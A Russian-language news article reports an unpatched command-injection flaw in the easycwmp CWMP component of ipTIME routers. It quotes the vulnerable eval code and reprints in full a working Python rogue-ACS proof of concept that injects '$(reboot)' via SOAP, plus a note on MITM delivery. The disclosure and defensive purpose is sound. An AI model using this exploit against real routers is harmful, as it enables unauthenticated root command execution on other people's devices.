Вот как выглядит критическая уязвимость, которую никто не чинит.

В роутерах ipTIME с прошивкой 15.324 нашли уязвимость, которая позволяет выполнить команду удалённо и без авторизации. Проблема затрагивает CWMP, протокол удалённого управления роутерами, через который провайдеры обычно меняют настройки, проводят диагностику, обновляют прошивку и перезагружают устройства.
Уязвимость обнаружил исследователь parkminchan из SSD Labs Korea. Команда пыталась связаться с ipTIME по нескольким каналам, включая электронную почту и южнокорейское агентство KISA, но ответа от производителя получить не удалось.
Ошибка находится в компоненте easycwmp. В нормальной схеме роутер связывается с ACS-сервером оператора, получает SOAP-сообщение и применяет переданные параметры. Но в прошивке ipTIME значение параметра попадает во временный файл без нормальной проверки, а затем выполняется через оболочку с правами root.
В файле /usr/share/easycwmp/functions/common функция common_set_value_check_param() берёт переданный аргумент, сохраняет его в переменную val и добавляет строку с командой во временный файл:
common_set_value_check_param() {
local arg="$1"
...
local val="$arg" // [0]
...
echo "$refparam<delim>$setcmd \"$val\"<delim>$getcmd" >> $set_command_tmp_file // [1]
}
...
Дальше за дело берётся /usr/sbin/easycwmp. Компонент получает SOAP-сообщение от ACS-сервера, читает подготовленный временный файл построчно и извлекает команду, которую нужно применить к параметру:
if [ "$action" = "apply_value" ]; then
while read line; do
[ -z "$line" ] && continue
local setcmd=${line#*<delim>}
setcmd=${setcmd%<delim>*}
eval "$setcmd" // [2]
done < $set_command_tmp_file
fi
...
Опасная часть здесь — eval. Оболочка не просто воспринимает строку как данные, а разбирает её как команду. Поэтому значение параметра вида $(reboot) превращается в системный вызов. Так как easycwmp работает с высокими привилегиями, внедрённая команда запускается от имени root.
Для проверки уязвимости исследователь подготовил вредоносный ACS-сервер. Скрипт на Python отвечает на запрос роутера, отправляет SOAP-команду SetParameterValues и передаёт в параметр InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time полезную нагрузку $(reboot):
#!/usr/bin/env python3
import sys
import html
import http.server
PAYLOAD = "$(reboot)"
PORT = 80
NS = (
'xmlns:soap_env="http://schemas.xmlsoap.org/soap/envelope/" '
'xmlns:soap_enc="http://schemas.xmlsoap.org/soap/encoding/" '
'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:cwmp="urn:dslforum-org:cwmp-1-2"'
)
INFORM_RESP = (
f'<?xml version="1.0"?>'
f"<soap_env:Envelope {NS}>"
'<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">{id}</cwmp:ID></soap_env:Header>'
"<soap_env:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></soap_env:Body>"
"</soap_env:Envelope>"
)
SET_PARAM = (
f'<?xml version="1.0"?>'
f"<soap_env:Envelope {NS}>"
'<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">1</cwmp:ID></soap_env:Header>'
"<soap_env:Body><cwmp:SetParameterValues>"
'<ParameterList soap_enc:arrayType="cwmp:ParameterValueStruct[1]">'
"<ParameterValueStruct>"
"<Name>{name}</Name>"
'<Value xsi:type="xsd:string">{value}</Value>'
"</ParameterValueStruct></ParameterList>"
"<ParameterKey>k</ParameterKey>"
"</cwmp:SetParameterValues></soap_env:Body>"
"</soap_env:Envelope>"
)
EMPTY = (
f'<?xml version="1.0"?>'
f"<soap_env:Envelope {NS}>"
'<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">0</cwmp:ID></soap_env:Header>'
"<soap_env:Body/>"
"</soap_env:Envelope>"
)
sessions = {}
class Handler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
body = self.rfile.read(int(self.headers.get("Content-Length", 0)))
ip = self.client_address[0]
step = sessions.get(ip, 0)
if step == 0 and b"Inform" in body:
cid = "1"
if b"<cwmp:ID" in body:
i = body.index(b">", body.index(b"<cwmp:ID")) + 1
cid = body[i : body.index(b"</", i)].decode(errors="replace")
sessions[ip] = 1
self.respond(INFORM_RESP.format(id=cid))
elif step == 1:
sessions[ip] = 2
self.respond(
SET_PARAM.format(
name=html.escape(
"InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time"
),
value=html.escape(PAYLOAD),
)
)
else:
sessions.pop(ip, None)
self.respond(EMPTY)
def respond(self, xml):
data = xml.encode()
self.send_response(200)
self.send_header("Content-Type", "text/xml")
self.send_header("Content-Length", len(data))
self.end_headers()
self.wfile.write(data)
if __name__ == "__main__":
http.server.HTTPServer(("", PORT), Handler).serve_forever()
В лабораторной проверке роутер специально настраивали на подключение к вредоносному ACS-серверу. В реальной сети атака может пройти опаснее: если устройство уже использует CWMP и связывается с легитимным сервером провайдера, злоумышленник может попытаться вклиниться в обмен через MITM-атаку и подменить SOAP-команды.
При успешном перехвате атакующий получает возможность передать роутеру собственное значение параметра. Уязвимый easycwmp запишет строку во временный файл, затем выполнит её через eval. В результате команда запустится до входа в административную панель и без знания пароля от устройства.
Пока производитель не выпустил исправление, владельцам уязвимых устройств стоит проверить, используется ли CWMP, ограничить доступ к интерфейсам удалённого управления и по возможности отключить TR-069, если функция не нужна для работы с провайдером.